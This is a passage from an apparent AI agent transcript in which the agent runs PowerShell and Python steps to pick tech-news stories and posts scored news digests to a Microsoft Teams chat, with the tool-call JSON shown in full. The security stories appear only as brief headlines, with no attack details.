alternatives.\\n  7. **[Cisco patches critical ISE command-execution flaw](https://news.google.com/rss/articles/CBMilgFBVV95cUxNUHZOYXUtLWRPaTcwVUlIM2dWUHB4bk90eDR0aFR4bGdxTDFiaUMtZjJKSGJObXBxVkVjTHhOVVNlMjhQMlFTNGRnSktjS2xFM2RjdjdZTGJsWDdrRlA0emp3dTJsdkVibW05OHF3Y21KMHhiQTNrcmp5ZWJlNllrRWVQR1VFLTdwbU5tZWF4WlUyY2t3eFHSAZsBQVVfeXFMUEk2OXJ0bXVtMmRuMDR6aEY0bVdZRWJrc2JSemxLa0hLVVFpRHRFMFhfSkVFSmlNTFZtb1Y2QlUtWmRpSzl1U1o5UXpBeTdIM1RDendKcTN3SFdyR2pzVmRxV3lpNUZnZUMtOXFHRlZHQjIwbzhPMkRqZXFMT29oQm50UlJWVEx1em9PVlNvcGJqM1FRNG1BSDB2ZWc?oc=5)** \u2014 **Score: 30/35.** Cisco patched a critical ISE command-execution flaw; identity infrastructure teams should review affected versions and prioritize upgrades.\\n  8. **[Attackers exploit three FortiSandbox vulnerabilities](https://news.google.com/rss/articles/CBMie0FVX3lxTFBfOHNXSDlzYnEtR3BYS0dfRnhSbFFQRXlPNVFLS0dwZjVxSUhJSWNmRHpPTk1vX0hmWUYwOWdXbFctZ3JYcWhVUlBjUkp1eFFPZ2tGVDJpNERtaUR3MXZYZWtmVU5EbngxY0R6TjNxOEVkeWNxcVludmJxWQ?oc=5)** \u2014 **Score: 30/35.** Attackers are exploiting three FortiSandbox flaws, including one patched only last week, creating urgent exposure for sandbox deployments.\\n  9. **[Ransomware operators hide traffic through Microsoft Teams relays](https://news.google.com/rss/articles/CBMiuwFBVV95cUxQT3VMeUZUQ0xzUE93TkFTd0xZazFTRXhKZWl4SXp1djV6eC1tdjNWSF9kMFU4cDZjYVIwdl9qOWlDV0ZURWRaejhtMlcxOVFNRzlmSEpaemJMbERBUDZWY1N0LWoyeEdfWXNJdkZkcnFVY1BrRVNBUkxYTUM4dHJBLTFVU0Z5TVA2MWZpbTNUSHpvZHpnaVl4dGZELTFKOWZ4U0YtTXNXdDNJRHpLSHp6dUNKUGE0MThTWEpF0gHAAUFVX3lxTFB3YmZPTjlodTlRbThSMWFqYW8xTmp4LV9LUXVxc2NDVDZrWm5IVzJhNHZxNGllVzJZajJoQXVVSHlYOThGaVkxeDRraktOWUkxWXB5OTIwZm5xOUk4alVacUVxdlpGZVZ4YkxqNWl0UllEaDdoblFTUjJDYkpOT0ZEZXU5RFJzQmMydTBSQmRpTWZvdzl3bE5nY1ZaTERRcHR4SGo2TThjdzVsYmFHSnNDOFlJMGpZNUFLUUlfak5PTA?oc=5)** \u2014 **Score: 30/35.** Ransomware operators are abusing Microsoft Teams relay infrastructure to conceal command-and-control traffic inside trusted cloud services.\\n  10. **[Texas breach exposes three million identity documents](https://techcrunch.com/2026/06/18/texas-government-data-breach-allowed-hackers-to-steal-3-million-drivers-licenses-and-passports/)** \u2014 **Score: 27/35.** Hackers stole about 3 million driver\u2019s licenses and passports from a Texas government system, creating large-scale identity and privacy risk.\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863096435?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 5/10\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier ChatReview events and prior-pass stories were excluded.\n\nAWS Glue previews semantic discovery for enterprise data \u2014 Score: 32/35. AWS Glue Data Catalog is previewing business context and semantic search, helping teams discover data by meaning rather than exact names.\nASML disputes US claim that its top chip tool reached China \u2014 Score: 31/35. US officials say ASML\u2019s most advanced chip tool may be operating in China; ASML disputes it, intensifying export-control scrutiny.\nZ.ai releases open-weight GLM-5.2 for long-horizon work \u2014 Score: 31/35. Z.ai released open-weight GLM-5.2 for long-horizon tasks, targeting sustained coding and agent workloads with a model developers can inspect.\nElastic reportedly agrees to acquire DeductiveAI \u2014 Score: 31/35. Elastic reportedly agreed to acquire DeductiveAI for up to $85 million, adding AI-driven bug detection and remediation to its platform.\nAWS previews open-source TypeScript backend framework \u2014 Score: 31/35. AWS Blocks is an open-source TypeScript framework for composing backends locally and deploying them without learning separate infrastructure tooling.\nDream raises $260 million for sovereign AI and cybersecurity \u2014 Score: 31/35. Dream raised $260 million for sovereign AI and cybersecurity products, reflecting strong demand for region-controlled security infrastructure.\nAmazon Quick adds autonomous agents and multi-dataset analytics \u2014 Score: 30/35. Amazon Quick adds autonomous agents, multi-dataset analytics and a redesigned activity feed for business workflows.\nAmazon and QuEra target useful quantum error correction by 2028 \u2014 Score: 30/35. Amazon and QuEra say useful quantum error correction could arrive by 2028, potentially accelerating practical fault-tolerant computing.\nOpenAI appears to test a ChatGPT for Science plan \u2014 Score: 29/35. OpenAI appears to be testing a dedicated ChatGPT for Science subscription and workspace, though availability is not yet confirmed.\nSnap spins out its AI-video team as Dotmo \u2014 Score: 25/35. Snap is spinning out its AI-video team as Dotmo to contain development costs and pursue generative-video work independently.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1781863097228\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863097228\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863097228?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T09:58:17.228Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 5/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS Glue previews semantic discovery for enterprise data](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-glue-data-catalog/)** \u2014 **Score: 32/35.** AWS Glue Data Catalog is previewing business context and semantic search, helping teams discover data by meaning rather than exact names.\\n  2. **[ASML disputes US claim that its top chip tool reached China](https://techcrunch.com/2026/06/19/the-us-says-asmls-top-chip-tool-may-be-in-china-asml-says-it-isnt/)** \u2014 **Score: 31/35.** US officials say ASML\u2019s most advanced chip tool may be operating in China; ASML disputes it, intensifying export-control scrutiny.\\n  3. **[Z.ai releases open-weight GLM-5.2 for long-horizon work](https://huggingface.co/blog/zai-org/glm-52-blog)** \u2014 **Score: 31/35.** Z.ai released open-weight GLM-5.2 for long-horizon tasks, targeting sustained coding and agent workloads with a model developers can inspect.\\n  4. **[Elastic reportedly agrees to acquire DeductiveAI](https://techcrunch.com/2026/06/18/source-elastic-agrees-to-buy-crv-backed-deductiveai-for-up-to-85m/)** \u2014 **Score: 31/35.** Elastic reportedly agreed to acquire DeductiveAI for up to $85 million, adding AI-driven bug detection and remediation to its platform.\\n  5. **[AWS previews open-source TypeScript backend framework](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-blocks-preview)** \u2014 **Score: 31/35.** AWS Blocks is an open-source TypeScript framework for composing backends locally and deploying them without learning separate infrastructure tooling.\\n  6. **[Dream raises $260 million for sovereign AI and cybersecurity](https://news.google.com/rss/articles/CBMikAFBVV95cUxNZlZZQXZTT3Q2ci1JQXVXTWJBSHM1aDByMFNoR0FIY2EtQUt6WmN6Vlh2T3ZwSHp0QlduZzV3Qll3bzFpRzRNLVV5WWNLR0x1WmpmODNrZmtnZmJpVDBDekl1NFRPcmRIT0gtZ1dTck9USElyRkVCR1A0RUN4QTRmWG9EZU5lSmtoRjNZMEU4eE4?oc=5)** \u2014 **Score: 31/35.** Dream raised $260 million for sovereign AI and cybersecurity products, reflecting strong demand for region-controlled security infrastructure.\\n  7. **[Amazon Quick adds autonomous agents and multi-dataset analytics](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-quick/)** \u2014 **Score: 30/35.** Amazon Quick adds autonomous agents, multi-dataset analytics and a redesigned activity feed for business workflows.\\n  8. **[Amazon and QuEra target useful quantum error correction by 2028](https://arstechnica.com/science/2026/06/amazon-quera-promise-useful-quantum-error-correction-by-2028/)** \u2014 **Score: 30/35.** Amazon and QuEra say useful quantum error correction could arrive by 2028, potentially accelerating practical fault-tolerant computing.\\n  9. **[OpenAI appears to test a ChatGPT for Science plan](https://www.bleepingcomputer.com/news/artificial-intelligence/leak-confirms-openai-is-testing-a-chatgpt-for-science-subscription/)** \u2014 **Score: 29/35.** OpenAI appears to be testing a dedicated ChatGPT for Science subscription and workspace, though availability is not yet confirmed.\\n  10. **[Snap spins out its AI-video team as Dotmo](https://techcrunch.com/2026/06/18/snap-spins-off-ai-video-team-into-new-company-dotmo-due-to-costs/)** \u2014 **Score: 25/35.** Snap is spinning out its AI-video team as Dotmo to contain development costs and pursue generative-video work independently.\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863097228?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> \n>\n> Five additional passes are live and verified. I\u2019m checking the remaining 681 unused candidates now; the next five need to stand on their own, not merely make the counter reach ten.\n>\n> \nCreated a file, edited a file, ran 5 commands\n>\n> - Ran `$ErrorActionPreference='Stop';$d=(python .\\collect_repeat_candidates.py|ConvertFrom-Json);$rows=for($i=120;$i -le 405 -and $i -lt $d.candidates.Count;$i++){ $c=$d.candidates[$i];[pscustomobject]@{idx=$i;total=$c.total;q=$c.quality;date=$c.published.ToString('yyyy-MM-dd');feed=$c.feed;publisher=$c.publisher;title=$c.title}};[pscustomobject]@{rows=$rows}|ConvertTo-Json -Depth 4 -Compress`\n> - Wrote `./wanted_repeat_titles_2.json` (+52 -0)\n> - Ran `$ErrorActionPreference='Stop';$d=(python .\\collect_repeat_candidates.py|ConvertFrom-Json);$wanted=Get-Content -Raw .\\wanted_repeat_titles_2.json|ConvertFrom-Json;$found=@();$missing=@();foreach($w in $wanted){$c=$d.candidates|Where-Object{$_.title -like ('*'+$w+'*')}|Select-Object -First 1;if($null-ne$c){$s=[string]$c.summary;if($s.Length-gt260){$s=$s.Substring(0,260)};$found+=[pscustomobject]@{pattern=$w;title=$c.title;url=$c.url;feed=$c.feed;publisher=$c.publisher;published=$c.published.ToString('yyyy-MM-dd');summary=$s;ratings=$c.ratings;total=$c.total}}else{$missing+=$w}};[pscustomobject]@{found=$found.Count;missing=$missing;items=$found}|ConvertTo-Json -Depth 6 -Compress`\n> - Ran `$d=(python .\\collect_repeat_candidates.py|ConvertFrom-Json);$w=Get-Content -Raw .\\wanted_repeat_titles_2.json|ConvertFrom-Json;[pscustomobject]@{cand=$d.candidates.Count;first=$d.candidates[0].title;wanted=$w.Count;firstwanted=$w[0]}|ConvertTo-Json -Compress`\n> - Wrote `./collect_repeat_candidates.py` (+13 -4)\n> - Ran `$d=(python .\\collect_repeat_candidates.py|ConvertFrom-Json);[pscustomobject]@{raw=$d.raw_count;unique=$d.unique_count;errors=$d.errors.Count;first=$d.candidates[0].title}|ConvertTo-Json -Compress`\n> - Ran `$ErrorActionPreference='Stop';$d=(python .\\collect_repeat_candidates.py|ConvertFrom-Json);$wanted=Get-Content -Raw .\\wanted_repeat_titles_2.json|ConvertFrom-Json;$found=@();$missing=@();foreach($w in $wanted){$c=$d.candidates|Where-Object{$_.title -like ('*'+$w+'*')}|Select-Object -First 1;if($null-ne$c){$s=[string]$c.summary;if($s.Length-gt260){$s=$s.Substring(0,260)};$found+=[pscustomobject]@{pattern=$w;title=$c.title;url=$c.url;feed=$c.feed;publisher=$c.publisher;published=$c.published.ToString('yyyy-MM-dd');summary=$s;ratings=$c.ratings;total=$c.total}}else{$missing+=$w}};[pscustomobject]@{found=$found.Count;missing=$missing;items=$found}|ConvertTo-Json -Depth 6 -Compress`\n>\n> \n>\n> The remaining five passes still clear the bar: a security-heavy set, a cloud/enterprise set, developer-tooling and open-source updates, chip/infrastructure moves, and platform operations changes. I\u2019ve removed overlaps with the first five passes and every earlier ChatReview post; I\u2019m sending the final five now.\n>\n> \nCalled 6 tools\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.list_chat_messages\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"top\": 100\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n\n> ```json\n> {\n>   \"messages\": [\n>     {\n>       \"message_id\": \"1781863097228\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863097228\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863097228?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 5/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS Glue previews semantic discovery for enterprise data](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-glue-data-catalog/)** \u2014 **Score: 32/35.** AWS Glue Data Catalog is previewing business context and semantic search, helping teams discover data by meaning rather than exact names.\\n  2. **[ASML disputes US claim that its top chip tool reached China](https://techcrunch.com/2026/06/19/the-us-says-asmls-top-chip-tool-may-be-in-china-asml-says-it-isnt/)** \u2014 **Score: 31/35.** US officials say ASML\u2019s most advanced chip tool may be operating in China; ASML disputes it, intensifying export-control scrutiny.\\n  3. **[Z.ai releases open-weight GLM-5.2 for long-horizon work](https://huggingface.co/blog/zai-org/glm-52-blog)** \u2014 **Score: 31/35.** Z.ai released open-weight GLM-5.2 for long-horizon tasks, targeting sustained coding and agent workloads with a model developers can inspect.\\n  4. **[Elastic reportedly agrees to acquire DeductiveAI](https://techcrunch.com/2026/06/18/source-elastic-agrees-to-buy-crv-backed-deductiveai-for-up-to-85m/)** \u2014 **Score: 31/35.** Elastic reportedly agreed to acquire DeductiveAI for up to $85 million, adding AI-driven bug detection and remediation to its platform.\\n  5. **[AWS previews open-source TypeScript backend framework](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-blocks-preview)** \u2014 **Score: 31/35.** AWS Blocks is an open-source TypeScript framework for composing backends locally and deploying them without learning separate infrastructure tooling.\\n  6. **[Dream raises $260 million for sovereign AI and cybersecurity](https://news.google.com/rss/articles/CBMikAFBVV95cUxNZlZZQXZTT3Q2ci1JQXVXTWJBSHM1aDByMFNoR0FIY2EtQUt6WmN6Vlh2T3ZwSHp0QlduZzV3Qll3bzFpRzRNLVV5WWNLR0x1WmpmODNrZmtnZmJpVDBDekl1NFRPcmRIT0gtZ1dTck9USElyRkVCR1A0RUN4QTRmWG9EZU5lSmtoRjNZMEU4eE4?oc=5)** \u2014 **Score: 31/35.** Dream raised $260 million for sovereign AI and cybersecurity products, reflecting strong demand for region-controlled security infrastructure.\\n  7. **[Amazon Quick adds autonomous agents and multi-dataset analytics](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-quick/)** \u2014 **Score: 30/35.** Amazon Quick adds autonomous agents, multi-dataset analytics and a redesigned activity feed for business workflows.\\n  8. **[Amazon and QuEra target useful quantum error correction by 2028](https://arstechnica.com/science/2026/06/amazon-quera-promise-useful-quantum-error-correction-by-2028/)** \u2014 **Score: 30/35.** Amazon and QuEra say useful quantum error correction could arrive by 2028, potentially accelerating practical fault-tolerant computing.\\n  9. **[OpenAI appears to test a ChatGPT for Science plan](https://www.bleepingcomputer.com/news/artificial-intelligence/leak-confirms-openai-is-testing-a-chatgpt-for-science-subscription/)** \u2014 **Score: 29/35.** OpenAI appears to be testing a dedicated ChatGPT for Science subscription and workspace, though availability is not yet confirmed.\\n  10. **[Snap spins out its AI-video team as Dotmo](https://techcrunch.com/2026/06/18/snap-spins-off-ai-video-team-into-new-company-dotmo-due-to-costs/)** \u2014 **Score: 25/35.** Snap is spinning out its AI-video team as Dotmo to contain development costs and pursue generative-video work independently.\",\n>       \"created_at\": \"2026-06-19T09:58:17.228Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863097228?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863096435\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863096435\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863096435?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 4/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Vertex AI SDK flaw enabled cross-tenant remote code execution](https://unit42.paloaltonetworks.com/hijacking-vertex-ai-model/)** \u2014 **Score: 34/35.** A Vertex AI Python SDK flaw enabled bucket-squatting attacks that could hijack uploaded models and achieve cross-tenant remote code execution.\\n  2. **[AI-chip location tracking bill gains industry support](https://news.google.com/rss/articles/CBMinwFBVV95cUxOUkJoSzZIYk92LXRFTnJqd1BoZkFTczlMWTZmSnZKRGxLTll4YjZjM2FnYndiMkt0M29mOWhkVXM2eDJuNXlJQ3FzU3FsMEx6TnlGa3lPZWtRR1RLdUVFSDhRcGNUSDNLN1pPeHVVY0xVV2tTNG5zbVFhWko2ZTZIR3UteDhXd0t2N2lheXhxUWgzSFU1MWllXzdPeGFtelE?oc=5)** \u2014 **Score: 33/35.** A US bill requiring location tracking for advanced AI chips gained industry support, raising major compliance and supply-chain implications.\\n  3. **[US regulators give AI data centers a faster path to the grid](https://techcrunch.com/2026/06/18/ai-data-centers-just-got-a-government-mandated-fast-lane-to-the-grid/)** \u2014 **Score: 33/35.** FERC ordered faster grid interconnection handling for data centers, but power-supply constraints remain a bottleneck for AI infrastructure growth.\\n  4. **[LiteLLM flaw chain could expose AI gateway servers](https://news.google.com/rss/articles/CBMigAFBVV95cUxNd3pzN0V5ckJOZkpoYW9YWEEyRkhCZmtzOVZSUWNpR0FOT1ZfdEFyQkE5SGRTNVdseWNsQUJBRHotZmV3NGVESFBwVC15Zlk3WEdLaFAtbGV6X3FaSDdiLUVUQm5scVg2SHN2VmsxZ2UzUnRobjB3TG0wZWZVU2tmMQ?oc=5)** \u2014 **Score: 33/35.** A vulnerability chain could let low-privilege users take over LiteLLM gateway servers, putting centralized model credentials and traffic at risk.\\n  5. **[Docker joins Athena software-supply-chain coalition](https://www.docker.com/blog/docker-joins-the-athena-coalition-a-cross-industry-collaboration-for-supply-chain-security/)** \u2014 **Score: 32/35.** Docker joined the Athena coalition to coordinate cross-industry software-supply-chain defenses as AI lowers the cost of sophisticated attacks.\\n  6. **[Docker retires Content Trust and Notary v1](https://www.docker.com/blog/docker-content-trust-retirement-and-migration-guidance/)** \u2014 **Score: 31/35.** Docker Content Trust and Notary v1 are being retired; teams must migrate image-signing workflows to supported modern alternatives.\\n  7. **[Cisco patches critical ISE command-execution flaw](https://news.google.com/rss/articles/CBMilgFBVV95cUxNUHZOYXUtLWRPaTcwVUlIM2dWUHB4bk90eDR0aFR4bGdxTDFiaUMtZjJKSGJObXBxVkVjTHhOVVNlMjhQMlFTNGRnSktjS2xFM2RjdjdZTGJsWDdrRlA0emp3dTJsdkVibW05OHF3Y21KMHhiQTNrcmp5ZWJlNllrRWVQR1VFLTdwbU5tZWF4WlUyY2t3eFHSAZsBQVVfeXFMUEk2OXJ0bXVtMmRuMDR6aEY0bVdZRWJrc2JSemxLa0hLVVFpRHRFMFhfSkVFSmlNTFZtb1Y2QlUtWmRpSzl1U1o5UXpBeTdIM1RDendKcTN3SFdyR2pzVmRxV3lpNUZnZUMtOXFHRlZHQjIwbzhPMkRqZXFMT29oQm50UlJWVEx1em9PVlNvcGJqM1FRNG1BSDB2ZWc?oc=5)** \u2014 **Score: 30/35.** Cisco patched a critical ISE command-execution flaw; identity infrastructure teams should review affected versions and prioritize upgrades.\\n  8. **[Attackers exploit three FortiSandbox vulnerabilities](https://news.google.com/rss/articles/CBMie0FVX3lxTFBfOHNXSDlzYnEtR3BYS0dfRnhSbFFQRXlPNVFLS0dwZjVxSUhJSWNmRHpPTk1vX0hmWUYwOWdXbFctZ3JYcWhVUlBjUkp1eFFPZ2tGVDJpNERtaUR3MXZYZWtmVU5EbngxY0R6TjNxOEVkeWNxcVludmJxWQ?oc=5)** \u2014 **Score: 30/35.** Attackers are exploiting three FortiSandbox flaws, including one patched only last week, creating urgent exposure for sandbox deployments.\\n  9. **[Ransomware operators hide traffic through Microsoft Teams relays](https://news.google.com/rss/articles/CBMiuwFBVV95cUxQT3VMeUZUQ0xzUE93TkFTd0xZazFTRXhKZWl4SXp1djV6eC1tdjNWSF9kMFU4cDZjYVIwdl9qOWlDV0ZURWRaejhtMlcxOVFNRzlmSEpaemJMbERBUDZWY1N0LWoyeEdfWXNJdkZkcnFVY1BrRVNBUkxYTUM4dHJBLTFVU0Z5TVA2MWZpbTNUSHpvZHpnaVl4dGZELTFKOWZ4U0YtTXNXdDNJRHpLSHp6dUNKUGE0MThTWEpF0gHAAUFVX3lxTFB3YmZPTjlodTlRbThSMWFqYW8xTmp4LV9LUXVxc2NDVDZrWm5IVzJhNHZxNGllVzJZajJoQXVVSHlYOThGaVkxeDRraktOWUkxWXB5OTIwZm5xOUk4alVacUVxdlpGZVZ4YkxqNWl0UllEaDdoblFTUjJDYkpOT0ZEZXU5RFJzQmMydTBSQmRpTWZvdzl3bE5nY1ZaTERRcHR4SGo2TThjdzVsYmFHSnNDOFlJMGpZNUFLUUlfak5PTA?oc=5)** \u2014 **Score: 30/35.** Ransomware operators are abusing Microsoft Teams relay infrastructure to conceal command-and-control traffic inside trusted cloud services.\\n  10. **[Texas breach exposes three million identity documents](https://techcrunch.com/2026/06/18/texas-government-data-breach-allowed-hackers-to-steal-3-million-drivers-licenses-and-passports/)** \u2014 **Score: 27/35.** Hackers stole about 3 million driver\u2019s licenses and passports from a Texas government system, creating large-scale identity and privacy risk.\",\n>       \"created_at\": \"2026-06-19T09:58:16.435Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863096435?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863095391\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863095391\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863095391?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 3/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Nvidia Blackwell leads the first AgentPerf infrastructure benchmark](https://blogs.nvidia.com/blog/nvidia-blackwell-agentperf-artificial-analysis/)** \u2014 **Score: 33/35.** Nvidia Blackwell led the first AgentPerf infrastructure results, giving teams a new benchmark for comparing systems that run tool-using AI agents.\\n  2. **[HPE and Nvidia expand AI Factory for production agents](https://blogs.nvidia.com/blog/hpe-ai-factory-agentic-enterprise/)** \u2014 **Score: 32/35.** HPE and Nvidia expanded their AI Factory stack for production agents, combining compute, networking, software and enterprise deployment tooling.\\n  3. **[OpenAI launches a $150 million partner network](https://openai.com/index/introducing-openai-partner-network)** \u2014 **Score: 31/35.** OpenAI is investing $150 million in a global partner network to accelerate enterprise AI deployment, integration and transformation.\\n  4. **[Baseten reportedly raises $1.5 billion for AI inference](https://techcrunch.com/2026/06/18/ai-inference-startup-baseten-reportedly-raising-1-5b-months-after-its-last-mega-round/)** \u2014 **Score: 31/35.** Inference-platform startup Baseten is reportedly raising $1.5 billion at a $13 billion valuation, underscoring demand for AI-serving infrastructure.\\n  5. **[OVHcloud plans frontier models for European AI sovereignty](https://news.google.com/rss/articles/CBMiyAFBVV95cUxOSXVzUTFCWkxBeDRRWEItdmFYMGlQQ1BLcTlWRGM5THcxcFFULWQxaFVrOGhabzZqcGVqMWE3V3pwaU9SQzFzVGpJRE0xNm44NnpXcjhSaEFncUZKd2tEYkR6dW56bUR4SjVKaVBZd0Q4akxYdktlbThsOGgtTjBrZGdwRTJybnpMMDRZMVEtRXhIWHVOT21OcEFrM0lya0RmSG1EMWZlMTBIUlFCS2pNeEdWWXVDbllBb19uaTJrOUt1TlF2ajJTbg?oc=5)** \u2014 **Score: 31/35.** OVHcloud plans frontier models intended to make it Europe\u2019s second major LLM player, tying sovereign cloud ambitions to model development.\\n  6. **[France brings more sovereign AI infrastructure online](https://blogs.nvidia.com/blog/france-advances-europes-ai-future/)** \u2014 **Score: 30/35.** Nvidia says French AI factories, national compute and industrial platforms are moving into production, expanding Europe\u2019s sovereign-AI capacity.\\n  7. **[India reaches 2.25 million cloud-native developers](https://www.cncf.io/announcements/2026/06/17/cncf-and-slashdata-report-confirms-india-as-one-of-the-largest-cloud-native-communities-with-2-25-million-developers/)** \u2014 **Score: 29/35.** CNCF and SlashData estimate India now has 2.25 million cloud-native developers, alongside rising platform-engineering and hybrid-cloud adoption.\\n  8. **[HSBC expands enterprise AI adoption with Google Cloud](https://news.google.com/rss/articles/CBMiogFBVV95cUxPZ3NyYncxbWk3WUdISWx2N0ZJNHJ5M0RxallIRVpuQmVPVW9zQUJ0R1dwZXJQTHRSQWs2MXMwMUVvc0tHZlktZEJvclRjVzRzUjZZS3hnek1iZUtGcU4wVlEwSkZ2RTY0ZHhzRUhxaGVuR3JzUFE1MUFSMWo3VGVLMzcyM1EzUHNCWGNsRk9xbmlMZ19UWFdfRmdJdURxU0IxSnc?oc=5)** \u2014 **Score: 28/35.** HSBC is expanding its Google Cloud partnership to scale AI use across the bank, another large-enterprise signal for managed cloud AI adoption.\\n  9. **[Near-autonomous GPT-5.4 chemist improves a drug-making reaction](https://openai.com/index/ai-chemist-improves-reaction)** \u2014 **Score: 28/35.** OpenAI and Molecule.one report that a near-autonomous GPT-5.4 chemist improved a difficult medicinal-chemistry reaction.\\n  10. **[OpenAI releases LifeSciBench for real-world research tasks](https://openai.com/index/introducing-life-sci-bench)** \u2014 **Score: 28/35.** OpenAI released an expert-reviewed benchmark for testing how AI systems handle real-world life-science research tasks and decisions.\",\n>       \"created_at\": \"2026-06-19T09:58:15.391Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863095391?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863094471\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863094471\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863094471?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 2/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS introduces Continuum for machine-speed security remediation](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-continuum/)** \u2014 **Score: 34/35.** AWS Continuum uses frontier models to discover, prioritize, validate and remediate software risks within customer-defined guardrails.\\n  2. **[AWS agent toolkit adds safer Secrets Manager handling](https://aws.amazon.com/about-aws/whats-new/2026/06/safe-secrets-handling-in-agent-toolkit-for-aws/)** \u2014 **Score: 34/35.** AWS\u2019s agent toolkit adds a Secrets Manager safety skill so coding agents can reference secrets without exposing raw values in prompts or code.\\n  3. **[AWS DevOps Agent previews autonomous release 